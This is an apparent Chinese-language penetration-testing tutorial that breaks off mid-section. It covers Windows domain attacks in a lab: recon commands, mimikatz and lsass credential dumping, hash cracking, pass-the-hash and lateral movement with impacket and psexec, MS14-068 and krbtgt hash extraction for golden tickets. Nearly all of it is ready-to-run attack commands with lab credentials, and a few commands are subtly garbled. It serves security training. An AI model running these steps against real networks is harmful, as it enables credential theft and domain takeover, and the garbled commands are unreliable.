內網滲透-初探域滲透

竹等寒發表於2024-10-28

目錄
  • 環境
  • 域資訊收集
    • 系統基本資訊
    • 網路資訊
    • 域控主機資訊
    • 根據ip查主機名
    • 使用者資訊
    • 許可權提升
    • 網路探針
      • 系統命令
      • nbtscan
      • fscan
      • nishang
    • 憑據收集
  • 域滲透實戰
    • 憑據收集(重點)
      • mimikatz
      • Procdump
      • Pwdump
      • SAMInside
      • krbtgt使用者hash
    • hash破解
    • 解決無法獲取明文的問題
    • 明文口令傳遞
      • IPC連線
        • at
        • schtask
      • atexec
    • Hash口令傳遞(PTH)
      • atexec
      • SMB協議傳遞
        • psexec
        • smbexec
      • wmi服務協議傳遞
        • 系統自帶vmiexec
        • 系統自帶cscript
        • wmiexec
      • mimikatz
        • 獲取cmd高許可權視窗
        • RDP連線
      • PTK(mimikatz)
    • 票據傳遞(PTT)
      • MS14-068(明文口令)
      • kekeo工具(hash口令)
      • 本地歷史票據
      • 黃金票據
        • krbtgt使用者雜湊
          • DCSync(mimikatz)
          • LSA(mimikatz)
          • kiwi(meterpreter)
          • Hashdump(meterpreter)
        • 金票偽造
          • mimikatz
          • kiwi
      • 反彈shell
      • 白銀票據
        • 目標機器使用者雜湊
        • 銀票偽造
          • cifs服務(mimikatz)
          • ldap服務(mimikatz)
      • 票據傳遞的總結
      • 金銀票據的區別

環境

環境搭建 :
https://blog.csdn.net/weixin_60521036/article/details/142961251

在這裡插入圖片描述

搭建完成後使用域控制器下發檔案,測試環境是否正常。

1.域控主機中新建共享資料夾
在這裡插入圖片描述

2.找到組策略管理
在這裡插入圖片描述

3.找到Default Domain Policy右鍵編輯
在這裡插入圖片描述

4.找到:使用者配置->首選項->Windows設定->檔案
在這裡插入圖片描述

5.空白處右鍵新建檔案
在這裡插入圖片描述

6.原始檔是你域控主機的檔案位置,目標檔案就是要分發下去的其他機器。
在這裡插入圖片描述

7.找到共享檔案
我這裡共享資料夾放了一個fscan,作為共享檔案分發下去。
在這裡插入圖片描述

注意這裡不能直接目錄選擇fscan檔案,而是一定要選擇共享資料夾中的路徑,然後新增上資料夾中你要下發的檔案。
在這裡插入圖片描述

然後目標檔案就選擇變數,分發到各自機子的桌面上

%USERPROFILE%\desktop\fscan.exe

在這裡插入圖片描述

確定後,建議強制更新一下,因為伺服器預設更新組策略時間為5分鐘,客戶端電腦預設更新組策略時間為90分鐘

gpupdate /force

在這裡插入圖片描述

客戶端這邊檢查桌面還是為空,是因為需要你gpupdate /force強制更新,或者可以選擇登出重新登入
在這裡插入圖片描述

分發成功,域環境OK。
在這裡插入圖片描述

補:dc域控定下這麼一個分發規則後,就算你是建立新使用者,在新使用者桌面準備好後都會給你分發這麼一個東西給你,所以說這也反映了域控主機是十分重要的。

域資訊收集

系統基本資訊

拿下每一臺機器最好都將這些系統資訊收集起來,有時候會有意想不到的驚喜。

systeminfo #詳細資訊
net start #服務
tasklist #程序列表
tasklist /svc 程序以及對應服務
schtasks #計劃任務

網路資訊

ipconfig /all #能看到域名
netstat -ano #ip連線、埠開放情況
網段掃描:工具和方式太多了,省略介紹,哪個方式用著習慣用哪個

域控主機資訊

net view /domain #檢視主域名,不存在域環境會報錯
nslookup 域名 #定位域控DC的ip,這裡有了域名後也可以ping域控主機的整體域名找到DC的ip

域控主機名

nltest /dsgetdc:域名 #檢視域控主機名
net time /domain #判斷主域DC:回顯->主機名.主域名

在這裡插入圖片描述

根據ip查主機名

#windows系統命令
nbtstat -A ip

在這裡插入圖片描述

使用者資訊

whoami /all #主要看許可權,還有其他資訊比如SID
whoami /user #針對當前使用者只檢視SID
net config workstation #主要看你當前登入的資訊(主機名、域名、使用者名稱等等)
net user #本地使用者有哪些
net user /domain #域環境的使用者資訊
net localgroup #本地使用者組
net group /domain  #域環境使用者組
wmic useraccount get /all #域/本地使用者詳細資訊(useraccount引數不用改)
net group "domain admins" /domain  #檢視域管理組的使用者資訊
net group "domain users" /domain   #檢視普通域的使用者資訊

許可權提升

往期文章(提權 | Windows系統):
https://blog.csdn.net/weixin_60521036/article/details/143187444

網路探針

系統命令

ping掃網段

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.0.0.%I | findstr "TTL="

在這裡插入圖片描述

nbtscan

老牌工具掃網段,結果還有標出DC的ip

nbtscan.exe 10.0.0.0/24

在這裡插入圖片描述

fscan

專案地址:
https://github.com/shadow1ng/fscan
工具很強大,不做詳細介紹,我這裡就探測一下網段,就預設開啟全部模組了。

fscan.exe -h 10.0.0.0/24

nishang

這個工具使用的是powershell,個人用的比較多

專案地址:
https://github.com/samratashok/nishang

使用指令碼之前先進行以下設定,每一次都要進行設定

#設定執行策略
Windows+R
輸入PowerShell
執行:Set-ExecutionPolicy -Scope CurrentUser
出現ExecutionPolicy: 填入RemoteSigned
(註明:同理你要設定Bypass的話就改為將RemoteSigned改為Bypass)
輸入Y
關閉PowerShell ,重新開啟powershell然後執行get-ExecutionPolicy,發現變成了RemoteSigned,就成功了

#匯入模組 nishang
#記得cd進入目錄中才能匯入nishang.psm1檔案
#匯入報錯不要驚,後續你能獲取到nishang的命令函式就代表你匯入成功了
Import-Module .\nishang.psm1

#獲取模組nishang的命令函式
Get-Command -Module nishang

介紹兩種用法,更多用法自行檢視專案的原readme.md

#獲取常規計算機資訊
Get-Information
#埠掃描(檢視目錄對應檔案有演示語法、其他同理)
Invoke-PortScan -StartAddress 10.0.0.1 -EndAddress 10.0.0.100 -ResolveHost -ScanPort

下面是命令執行的一些截圖

在這裡插入圖片描述
在這裡插入圖片描述

憑據收集

這裡獲取憑證意思是包含:各種明文口令、密文hash口令、本地TGT票據、歷史TGT票據等等。

下面實戰部分詳解<憑據收集>

域滲透實戰

前提說明:域內機器相關資訊如下

域管理員:
	administrator/Domain2024!
普通域使用者:
	User001/Domain2024!
	nu/abc_123456

在這裡插入圖片描述

憑據收集(重點)

這裡和往期內容內網滲透-內網資訊收集(一)中的抓本地密碼有重複:
https://blog.csdn.net/weixin_60521036/article/details/142964820

下面我就忽略重複內容,介紹平時域滲透中用的比較多的能夠拿到憑據的工具以及使用方式。

mimikatz

專案地址:
https://github.com/gentilkiwi/mimikatz

前提:需要管理員許可權才能收集

privilege::debug  #進入debug模式
sekurlsa::logonpasswords  #獲取密碼

或者你要將結果輸出到key.txt檔案中
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > key.txt

在這裡插入圖片描述

Procdump

官網下載:
https://learn.microsoft.com/en-us/sysinternals/downloads/procdump

條件

管理員許可權執行

這個需要配合mimikatz解析密碼,好處就是Procdump是微軟自帶,不會被殺掉,所以我們可以線上先匯出lsass.dmp,然後放到本地mimkatz去解析獲取密碼

#匯出lsass資料
Procdump.exe -accepteula -ma lsass.exe lsass.dmp

#mimikatz分析lsass資料
mimikatz.exe 
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
#或者也一口氣輸出內容到key.txt檔案中
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" > key.txt

在這裡插入圖片描述

Pwdump

工具官網下載:
https://www.openwall.com/passwords/windows-pwdump

條件

需要管理員許可權執行

這裡要用哪個版本就要看你在哪個版本系統上用了,官網有說明軟體版本對應windows系統版本的

這個就很直接了,執行程式就輸出對應賬密,但都是hash,可以去線上網站破解,破解不了也沒關係,後面我們也能夠拿著hash值橫向傳遞。
在這裡插入圖片描述

SAMInside

1.目標伺服器匯出SAMSYSTEMSYSKEY檔案

2.通常是不能直接匯出的,所以最好是透過命令視窗匯出指定位置

reg save hklm\sam C:/sam
reg save hklm\system C:/system.key
reg save hklm\security C:/security

3.然後開啟SAMInside選擇匯入

匯入順序:sam->system.key->security
在這裡插入圖片描述

匯入後按解密即可,能解出來就OK,不能的話換一種方式,這種我也沒成功過

在這裡插入圖片描述

krbtgt使用者hash

往下看,在票據傳遞部分講解如何獲取

hash破解

1.線上網站

https://www.cmd5.com/

2.hashcat

專案地址:
https://github.com/hashcat/hashcat

hashcat -a 0 -m 1000 hash file --force

3.彩虹表

相關檔案下載地址:

https://ophcrack.sourceforge.io/

https://www.freerainbowtables.com/

彩虹表 破解密碼

原理

透過預先計算的hash雜湊鏈集合對來反推明文,因為在一個對中,其中的演算法是固定的,所以只需要重複加密函式即可還原這個雜湊鏈,即頭和尾知道了,比如:1:11,這中間的演算法是+1,+4,那麼這個hash鏈就是:`1-2-6-7-11`,因為是+1 +4,所以中間還原的鏈資料就是`2 6 7`,也就是說我們使用一個對就儲存了5個值或者更多,這裡僅僅只是舉一個例子而已,具體+1+4要迴圈多少次還要看k引數。

所以利用這個彩虹表去獲取密碼就會比較快速。
吐槽:其實常規點的hash密碼丟到線上網站上直接就出來了,很少用彩虹表。

抓hash工具很多,可以是Procdump、pwdump等等,這裡就用pwdump。

透過抓取到的hash,放到 ophcrack https://ophcrack.sourceforge.io/工具上,
用收集到的彩虹表https://www.freerainbowtables.com/

下載好採用表後,用ophcrack 載入資料

在這裡插入圖片描述

點選install後會讓你選擇你的彩虹表資料夾

彩虹表的資料如下
在這裡插入圖片描述

載入完成後你拿到的hash解不出來就可以丟到工具中看能不能撞出來

比如我這裡使用pwdump8.exe拿到hash密碼
在這裡插入圖片描述

然後隨便複製丟到工具中點選crack,我這裡是一個一個的複製進去,你也可以透過其他load方式
在這裡插入圖片描述

在這裡插入圖片描述

解決無法獲取明文的問題

Windows2012以上版本預設關閉wdigest,攻擊者無法從記憶體中獲取明文密碼 
Windows2012以下版本如安裝KB2871997補丁,同樣也會導致無法獲取明文密碼 
個人系統,vista之後主要是win7、win10等 
針對以上情況,可以使用以下4種方式解決此類問題 
1.利用雜湊hash傳遞(pth、ptk等)進行移動 
2.利用其它服務協議(SMB、WMI等)進行雜湊移動 
3.利用登錄檔操作開啟Wdigest Auth值進行獲取 
4.利用工具或第三方平臺(Hachcat)進行破解獲取 

知識點: 
Windows系統LM Hash及NTLM Hash加密演算法,個人系統在Windows vista後,伺服器系統在 
Windows 2003以後,認證方式均為NTLM Hash。 
登錄檔修改開啟Wdigest Auth值:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

明文口令傳遞

IPC連線

條件

可以不是管理員許可權執行net use
使用者的明文口令
要和域管理員組的使用者建立(一般普通域使用者無法dir檢視檔案)
ip機器只要是在域環境內即可

重中之重:IPC你要建立連線而且你希望能夠對建立的機器進行一系列操作的話必須你要用域管理員許可權賬戶去連線,否則dir操作ipc是看不到的。普通的域使用者只能夠進行一些比如時間的同步之類的操作,是操作不了其他的,會顯示拒絕訪問。

ipc連線的建立與刪除

net use \\server\ipc$ "password" /user:username #工作組建立IPC連線
net use \\server\ipc$ "password" /user:domain\username #域環境內建立IPC連線
net use \\server\ipc$ /del #刪除某個連線

ipc操作

dir \\xx.xx.xx.xx\c$\ #檢視檔案列表
copy \\xx.xx.xx.xx\c$\1.bat 1.bat #下載檔案 
copy 1.bat \\xx.xx.xx.xx\c$ #複製檔案
del \\xx.xx.xx.xx\c$\1.bat #刪除檔案
net view xx.xx.xx.xx #檢視對方共享

ipc連線錯誤原因

建立IPC常見的錯誤程式碼 
    錯誤號5: 拒絕訪問,許可權不夠; 
    錯誤號51: 無法找到網路路徑(網路有問題)。 
    錯誤號53:找不到網路路徑(ip地址錯誤;目標主機未開機;目標主機lanmanserver服務未啟動;目 標主機防火牆設定過濾埠)。 
    錯誤號67:找不到網路名(本地主機中lanmanworkstation服務未啟動或者目標主機刪除了ipc$)。 
    錯誤號1219: 提供的憑據與已存在的憑據集衝突(已經建立了一個ipc$,可以刪除再連)。 
    錯誤號1326: 使用者名稱或密碼錯誤。 
    錯誤號1792:試圖登入,網路登入服務沒有啟動(目標主機中NetLogon服務未啟動)。 
    錯誤號2242: 該使用者的密碼已經過期。 

建立IPC失敗的原因 
    1. 目標系統不是NT或者以上的作業系統 
    2. 對方沒有開啟IPC$共享 
    3. 對方未開啟139、445埠,或者被防火牆遮蔽 
    4. 輸出命令、賬號密碼有錯誤

下圖為使用net use使用明文進行ipc連線(使用域管理組的使用者進行連線)

net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator

在這裡插入圖片描述


ipc連線後個人比較常用的橫向操作就是利用計劃任務。可以是建立使用者可以是反彈shell可以是複製木馬過去執行等等騷操作,只要你會寫bat指令碼即可。

at主要用於windows server 2012以下版本,schtasks主要是用於大於等於windows server 2012版本環境

at

1.建立連線(如果你建立了就不用再建立了,只能有一個連線存在)

net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator

2.將你要執行的bat指令碼寫好,然後複製到目標機器上面

假設adduser.bat的內容為:(其中/domain為新增到域環境中)
	net user zs abc123456 /add /domain
----------------------------------------------------
#複製useradd.bat檔案到10.0.0.12的c盤目錄下
copy C:\useradd.bat \\10.0.0.12\c$
#新增計劃任務,每天10:00執行useradd.bat
at \\10.0.0.12 12:00 c:\useradd.bat

schtask

schtasks >= windows2012

1.建立連線(如果你建立了就不用再建立了,只能有一個連線存在)

net use \\10.0.0.12\ipc$ "Domain2024!" /user:god.com\administrator

2.將你要執行的bat指令碼寫好,然後複製到目標機器上面

假設adduser.bat的內容為:(其中/domain為新增到域環境中)
	net user zs abc123456 /add /domain
----------------------------------------------------
#複製useradd.bat檔案到10.0.0.12的c盤目錄下,並且建立名為useradd的任務
copy C:\useradd.bat \\10.0.0.12 /ru "SYSTEM" /tn useradd /sc DAILY /tr c:\useradd.bat /F
#執行useradd計劃任務
schtasks /run /s 10.0.0.12 /tn useradd /i
#刪除adduser任務
schtasks /delete /s 10.0.0.12 /tn useradd /f 

atexec

原始碼指令碼專案地址:
https://github.com/SecureAuthCorp/impacket
指令碼打包的exe程式專案地址:
https://gitee.com/RichChigga/impacket-examples-windows

條件

該程式可以不用管理員執行
要使用域管理員組的賬密去連線
ip機器只要是在域環境內即可

在impacket包中三個我自己比較常用的,能夠明文傳遞也能hash口令傳遞,我稱之為三劍客。需要注意的是上傳的時候注意殺軟,因為是三方工具,不在微軟白名單內。

atexec、psexec、smbexec

這裡先介紹atexec,因為後面兩個的利用方式和這個不一樣,後兩個是利用smb協議,而atexec主要是利用at指令改的工具。

atexec.exe ./administrator:Domain2024!@10.0.0.12 "whoami" #10.0.0.12的本地管理員組賬密執行whoami
atexec.exe god/administrator:Domain2024!@10.0.0.11 "whoami" #10.0.0.12的域管理員組賬密執行whoami

第一次執行會出錯,再執行一次即可
在這裡插入圖片描述

總結

atexec.exe ./[使用者名稱]:[密碼]@[IP] "[命令]" 
atexec.exe [域名]/[使用者名稱]:[密碼]@[IP] "[命令]"

Hash口令傳遞(PTH)

atexec

條件

該程式可以不用管理員執行
要使用域管理員組的賬密hash口令去連線
ip機器只要是在域環境內即可

原始碼指令碼專案地址:
https://github.com/SecureAuthCorp/impacket
指令碼打包的exe程式專案地址:
https://gitee.com/RichChigga/impacket-examples-windows

注意事項:貌似需要用管理員組的使用者去執行,hash密碼前面記得加冒號,第一次執行可能會報錯,第二次執行就會成功(如果不成功就是系統不支援,換一種方式吧)

atexec.exe -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.11

在這裡插入圖片描述

總結

atexec.exe -hashes [:密碼的hash值] ./[使用者名稱]@[IP] "[命令]"

SMB協議傳遞

psexec

條件

管理員許可權執行程式
域管理員組內的賬密hash口令連線
ip機器只要是在域環境內即可

微軟提供的官網下載地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

在impacket包中也有對應的二開程式:

原始碼指令碼專案地址:
	https://github.com/SecureAuthCorp/impacket 
指令碼打包的exe程式專案地址:
	https://gitee.com/RichChigga/impacket-examples-windows

區別:二者區別就是微軟自帶的只能明文傳遞,二開的impacket包能夠明文傳遞還能hash傳遞。

注意事項:需要用管理員許可權執行命令,而且需要管理員使用者組的賬密。貌似psexec程式不支援x86的winserver2k3

0.直接介紹psexec的hash傳遞方法

#hash密文建立連線
PsExec.exe -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.10

GBK的程式碼為936
UTF-8的程式碼為65001
#如果亂碼的話自行修改對應的編碼
chcp 65001

在這裡插入圖片描述

1.需要建立ipc連線的psexec用法

#明文建立連線
net use \\10.0.0.10\ipc$ "Domain2024!" /user:administrator
#反彈shell
PsExec.exe \\10.0.0.10 -s cmd

在這裡插入圖片描述

2.不用建立ipc連線的psexec用法

注意:貌似psexec只支援域的管理員組的使用者反彈shell,同樣需要管理員許可權執行該程式

#直接反彈shell
PsExec.exe \\10.0.0.10 -u administrator -p Domain2024! -s cmd

在這裡插入圖片描述

smbexec

普天同慶:不用管理員許可權執行命令!!!!!!!

條件

普天同慶:不用管理員許可權執行命令!!!!!!!
感覺無可挑剔,明文和hash都能用
除了不免殺感覺條件就是無可挑剔。
ip機器只要是在域環境內即可

smbexec無需先ipc連線,同時支援明文或者hash傳遞,個人感覺比psexec好用甚至不用管理員許可權執行,甚至甚至還相容性好。

經過測試:貌似這個程式支援x86的winserver2k3,上面的psexec是不支援的

smbexec [域名]/[使用者名稱]:[密碼]@[IP] #需要使用域管理員賬戶
smbexec god/administrator:Domain2024!@10.0.0.12

smbexec ./[使用者名稱]:[密碼]@[IP] #支援目標機器本地管理員的傳遞,牛逼,psexec不支援
smbexec ./administrator:abc123456@10.0.0.12

smbexec -hashes :[密碼的hash值] ./[使用者名稱]@[IP] #支援本地管理員的hash傳遞
smbexec -hashes :6d40a45eb79dddcba8e61e244bf88128 ./administrator@10.0.0.12

smbexec -hashes :[密碼的hash值] [域名]/[使用者名稱]@[IP]  #僅支援管理員組的域使用者進行hash傳遞
smbexec -hashes :084ec12da6c348f999c7fab5df875222 god/administrator@10.0.0.12 

在這裡插入圖片描述

wmi服務協議傳遞

wmi服務協議傳遞在日誌中找不到痕跡,且系統自帶wmic可進行明文的傳遞,但若要使用hash的話就還是要使用三方工具進行傳遞。

系統自帶vmiexec

條件

不用管理員許可權執行wmi命令
明文口令
需要域管理員許可權的賬密
ip機器只要是在域環境內即可

注意事項:貌似只能用域管理員使用者組的使用者才能執行成功

wmic /node:10.0.0.12 /user:administrator /password:Domain2024! process call create "cmd.exe /c ipconfig > C:\1.txt"

在這裡插入圖片描述

在這裡插入圖片描述

系統自帶cscript

條件

不用管理員許可權執行該程式命令
明文口令
需要域管理員組的賬密
ip機器只要是在域環境內即可

該工具同理要使用管理使用者組許可權,cscript是系統自帶的工具,並且有回顯,能反彈一個shell回來,但是需要藉助到wmiexec.vbs。

cscript //nologo wmiexec.vbs /shell 10.0.0.12 administrator Domain2024!

在這裡插入圖片描述

wmiexec

條件

不用管理員許可權執行該命令
需要域管理員組的賬密
在域環境中只能用域使用者,不能用本地使用者
ip機器只要是在域環境內即可

impacket包根據wmi二開的工具,工具下載地址和impacket包地址一樣

本地使用者
wmiexec ./administrator:Domain2024!@10.0.0.13 "whoami" 
wmiexec -hashes :084ec12da6c348f999c7fab5df875222 ./administrator@10.0.0.13 "whoami"

域使用者 
wmiexec god/administrator:Domain2024!@10.0.0.13 "whoami" 
wmiexec -hashes :084ec12da6c348f999c7fab5df875222 god/administrator@10.0.0.13 "whoami"

mimikatz

獲取cmd高許可權視窗

條件

需要管理員使用者執行,否則彈不出視窗
ip機器只要是在域環境內即可

我的困惑和理解

這裡其實我很奇怪,明明需要管理員許可權才能執行成功,
但是我都管理員許可權了還要彈出來這個框幹嘛,
又不是橫向移動,彈出來的還是本機的管理員許可權,
所以我只能強行理解為當我們拿到遠端桌面,
我的理解:
	system許可權在msf或者cs上拿著的
	拿到的遠端桌面是普通使用者
	希望在桌面上操作system許可權的視窗命令
	透過cs或者msf等等,在這些遠控工具上上傳或者像cs能夠直接執行mimikatz都行
	讓遠端桌面彈出system的cmd視窗,這樣方便遠端桌面連線橫向移動

執行命令

mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god.com /ntlm:084ec12da6c348f999c7fab5df875222

在這裡插入圖片描述

RDP連線

條件

需要管理員許可權執行
ip機器只要是在域環境內即可

Windows系統中正常的RDP連線都是要明文進行連線,這裡可以使用mimikatz + 已知的hash密文直接連線。

注意:你用的hash是域管理員使用者的,這樣在域環境下你才能用域環境下的ip直接連上windows遠端桌面。
(在彈出的視窗我們只需要輸入ip不用輸入密碼就能直接連線上)

攻擊前提

確保`攻擊機`開啟了Restricted Admin Mode

PS:windows Server需要開啟Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中預設開啟,同時如果Win7和Windows Server 2008 R2安裝了2871997、2973351補丁也支援

判斷攻擊機是否開啟Restricted Admin Mode

#增加前先進行檢視是否存在這個鍵值,如果是空的或者值為1代表關閉,這時候就需要下一步增加/修改狀態值
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

#登錄檔中新增開啟狀態值(修改也是這個命令)
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

攻擊機攻擊命令:

mimikatz.exe 
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:084ec12da6c348f999c7fab5df875222 "/run:mstsc.exe /restrictedadmin"

以下代表你的攻擊機系統不支援Restricted Admin mode
在這裡插入圖片描述

如果當前系統支援Restricted Admin mode,執行後彈出遠端桌面的登入介面,接著輸入你要連線的ip
在這裡插入圖片描述

成功彈出視窗就代表成功了一半,如果還是連線失敗就代表可能對方機器不允許連線或者系統不相容又或者需要開啟Restricted Admin Mode??本人沒搞太明白,這種方法我還是比較少用就沒去深入研究了,因為我們拿hash就足夠我們橫向了,拿hash連線拿桌面就當時下下策吧,如果有明文連線肯定不用hash這麼麻煩。

PTK(mimikatz)

說明

PTK(pass the key)也是pth的一種,也是用hash去連,
同樣也是是針對NTML的認證進行的一種攻擊手法,
原理是透過獲取使用者的aes256_hmac值來完成登入認證,
這個可以用在我們無法獲取當前主機的密碼的情況下。
而且是在打了KB2871997補丁之後才能用這個方法。

條件

管理員許可權執行mimikatz

管理員許可權執行mimikatz

命令執行

privilege::debug
sekurlsa::ekeys  #檢視秘鑰aes256_hmac

#或者直接匯出內容
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" "exit" > keys.txt
#使用
sekurlsa::pth /user:[使用者名稱] /domain:[域名或“workgroup”] /aes256:[aes256的值]
sekurlsa::pth /user:mary /domain:god.com /aes256:329cb15457daf7747d932ee19a39a9e9aa7d561eea642123796ecb5a9dded088

如果打了補丁,匯出的hash中會存在以下的hash鍵值
在這裡插入圖片描述

注意:如何判斷執行成功?我這裡並沒有找到合適的主機進行攻擊,但看網上其他人都是執行完後會彈出一個新視窗或者開一個新的管理員視窗去net use建立連線或者直接dir橫向操作了,這裡和之前mimikatz的普通pth攻擊流程一樣。

票據傳遞(PTT)

票據這部分基本都用mimikatz

pass the ticket

根據kerberos協議認證原理實現攻擊,主要是偽造金票,下面介紹幾種PTT操作

MS14-068(明文口令)

專案地址:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

條件

沒有打MS14-068補丁
不用管理員許可權執行(本身這個漏洞就是提權的)
可以用普通使用者的賬密
使用者對應的sid
使用的時候只能使用域控主機的[主機名.域名]

註明:MS14-068實現的是提權效果,所以你接下來的程式都是可以用普通使用者去執行的。

#檢視是否打了MS14-068補丁
systeminfo | findstr "3011780"

執行命令

#建議先清除一下記憶體中的票據,這個不影響票據檔案,如果本身就有高許可權的票據後面還能將其匯入進來
klist purge
#檢視SID
whoami /all 
或者只看SID
whoami /user
#上傳工具MS14-068,執行程式(PS:這裡嘗試過只能用域控主機的ip提權)
用法:MS14-068.exe -u 普通域成員使用者@域名 -s 使用者對應的SID -d 域控主機ip -p 普通域成員使用者的密碼
MS14-068.exe -u nu@god.com -s S-1-5-21-1372085290-516318011-3378863887-1106 -d 10.0.0.10 -p abc_123456
#將票據透過mimikatz匯入
用法:kerberos::ptc 票據檔案路徑
kerberos::ptc TGT_nu@god.com.ccache
#根據你要連線的ip檢視主機名
用法:nbtstat -A ip
nbtstat -A 10.0.0.10
因為只能用域控主機,下面這些也能看
用法:nltest /dsgetdc:域名
nltest /dsgetdc:god
#新開一個視窗,就直接能用了,比如檢視c盤下的檔案
用法:dir \\主機名.域名\c$
dir \\WIN-Q23MC0LU96E.god.com\c$

下面展示效果圖

whoami /all
在這裡插入圖片描述

MS14-068.exe -u nu@god.com -s S-1-5-21-1372085290-516318011-3378863887-1106 -d 10.0.0.10 -p abc_123456
在這裡插入圖片描述

在這裡插入圖片描述

kerberos::ptc TGT_nu@god.com.ccache
在這裡插入圖片描述

nbtstat -A 10.0.0.10
在這裡插入圖片描述

隨便開一個視窗,net use可以看到並沒有建立連線,我們這裡是使用票據的形式提權,

且不用管理員許可權開的也行:dir \\WIN-Q23MC0LU96E.god.com\c$
在這裡插入圖片描述

kekeo工具(hash口令)

專案地址:
https://github.com/gentilkiwi/kekeo

條件

不用管理員許可權執行該程式
但是需要管理員的賬密/hash口令
橫向的時候需要用[主機名.域名] (注:金票注入貌似都只能用主機名來搞)

kekeo同樣可以是普通使用者許可權執行該程式,無需管理員許可權,但只不過是需要管理員的賬密而已,不要搞混了,個人感覺這個生成和匯入金票的方式更加直接且便捷好用。

kekeo可以透過hash來偽造票據,但核心還是用管理員的賬密,也就是說相當於偽造金票最高許可權使用,原理也是tgt金票走天下,只不過MS14-068是透過提權來使普通使用者賬密也能直接偽造金票TGT。

0.先進入kekeo程式內
#直接執行程式
kekeo.exe
1.生成票據,隨便一個域使用者
#明文生成票據方法(建議用管理員的賬密資訊)
tgt::ask /user:[域成員名] /domain:[域名] /password:[明文]
tgt::ask /user:administrator /domain:god.com /password:Domain2024!
#hash生成票據方法(建議用管理員的賬密資訊)
tgt::ask /user:[域成員名] /domain:[域名] /ntlm:[ntlm值]
tgt::ask /user:administrator /domain:god.com /ntlm:084ec12da6c348f999c7fab5df875222

2.匯入票據
kerberos::ptt [票據檔案]
kerberos::ptt TGT_administrator@GOD.COM_krbtgt~god.com@GOD.COM.kirbi

3.新開一個視窗(如果你當時生成和匯入的票據是透過普通域使用者的資訊的話可能會失敗)
直接就能用了
dir \\WIN-Q23MC0LU96E.god.com\c$

注意事項:

因為一般都是不用管理員許可權執行該程式
↓↓↓↓↓
如果你是域管理員組使用者的賬密生成匯入票據:
	即使你使用普通使用者開啟新的命令視窗也能夠操作域控主機
	這才是我們要的效果,但用管理員許可權用hash生成和匯入,低許可權也能使用拿到域控操作許可權。
如果你使用普通域使用者的賬密生成票據和匯入票據:
	當你普通使用者開啟的新視窗執行是操作不了域控機器的,然後我在測試過程中也發現連普通使用者的機器也操作不了
	但是隻有當你用管理員許可權開啟命令視窗的時候能夠用你普通使用者生成匯入的票據許可權,但這樣不就違背了我們本身的意願了麼?
	所以域環境中我們還是儘量用管理員的資訊吧,免得搞出太多烏龍以及走彎路。(明文難搞但是hash還是不難搞的)
	這不是我們想要的效果,域普通使用者生成和匯入無法低許可權使用。

以下是展示實驗圖

普通使用者開啟視窗
在這裡插入圖片描述

透過管理員組使用者資訊生成票據,這裡利用hash口令
在這裡插入圖片描述

使用kekeo匯入票據
在這裡插入圖片描述

隨機開一個視窗,不用管理員許可權,klist可以發現確實是管理員許可權的票據,所以現在就能夠橫向操作了
在這裡插入圖片描述

本地歷史票據

條件

匯入票據不用管理員許可權執行mimikatz,但是收集憑據需要,
因為本地歷史憑據通常儲存在域控制器的安全賬戶管理器(Security Accounts Manager, SAM)資料庫中
ps:匯入票據的操作其實都不需要管理員許可權操作,本來票據就是希望給普通使用者有許可權操作

但是你要透過mimikatz來收集憑據的話就需管理許可權執行,利用mimikatz收集本地票據,再將票據匯入到記憶體中進行連線,票據多的話一個個嘗試,純靠運氣,看能不能碰到一個高許可權TGT而且還在有效期範圍內。

沒啥好說了,下面給出命令

#進入debug許可權
privilege::debug 
#匯出票據,票據會和mimikatz在同一目錄下
sekurlsa::tickets /export 
#匯入票據,這裡就一個一個嘗試了,哪個成功了就成功,或者可以寫指令碼批次匯入
kerberos::ptt [票據檔案]

黃金票據

Golden Tickets
域中有一個特殊使用者叫做krbtgt,該使用者是用於Kerberos身份驗證的帳戶,獲得了該使用者的hash,就可以偽造票據進行票據傳遞。
域中每個使用者的Ticket都是由krbtgt的密碼Hash來計算生成的。
因此只要獲取到krbtgt的密碼Hash同時還需要獲取他的SID,就可以隨意偽造Ticket,進而使用Ticket登陸域控制器。
使用krbtgt使用者hash生成的票據被稱為Golden Ticket。

krbtgt使用者雜湊

條件

獲取憑證都需要用管理員許可權執行mimkatz匯出資訊

上面提到的黃金票據的偽造的條件是獲取特殊使用者krbtgt的SID還有他的hash口令,所以這裡就需要知道如何獲取。

DCSync(mimikatz)

介紹

2015年8月份Mimkatz新增了一個主要功能叫 "DCSync",使用這項技術可以有效地 "模擬" 域控制器並從目標域控上請求域內使用者密碼hash。這項技術為當下域滲透提供了極大地便利,可以直接遠端dump域內hash

命令

mimikatz.exe
privilege::debug
lsadump::dcsync /user:krbtgt

#或者匯出檔案中檢視
mimikatz.exe "lsadump::dcsync /user:krbtgt" "exit" > krbtgt.txt

在這裡插入圖片描述

LSA(mimikatz)

條件

需要用管理員許可權執行mimkatz

介紹

從 lsa 伺服器獲取密碼

命令執行

mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt

#或者匯出檔案中檢視
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:krbtgt" "exit" > krbtgt.txt
kiwi(meterpreter)

meterpreter拿到shell後是需要有高許可權,我這裡普通許可權沒有執行成功。

下面是執行命令

load kiwi
dcsync_ntlm krbtgt
Hashdump(meterpreter)

meterpreter拿到shell後同樣需要高許可權執行

hashdump

金票偽造

金票偽造前提是你已經獲取到了krbtgt使用者和hash值。

說明:一定要看

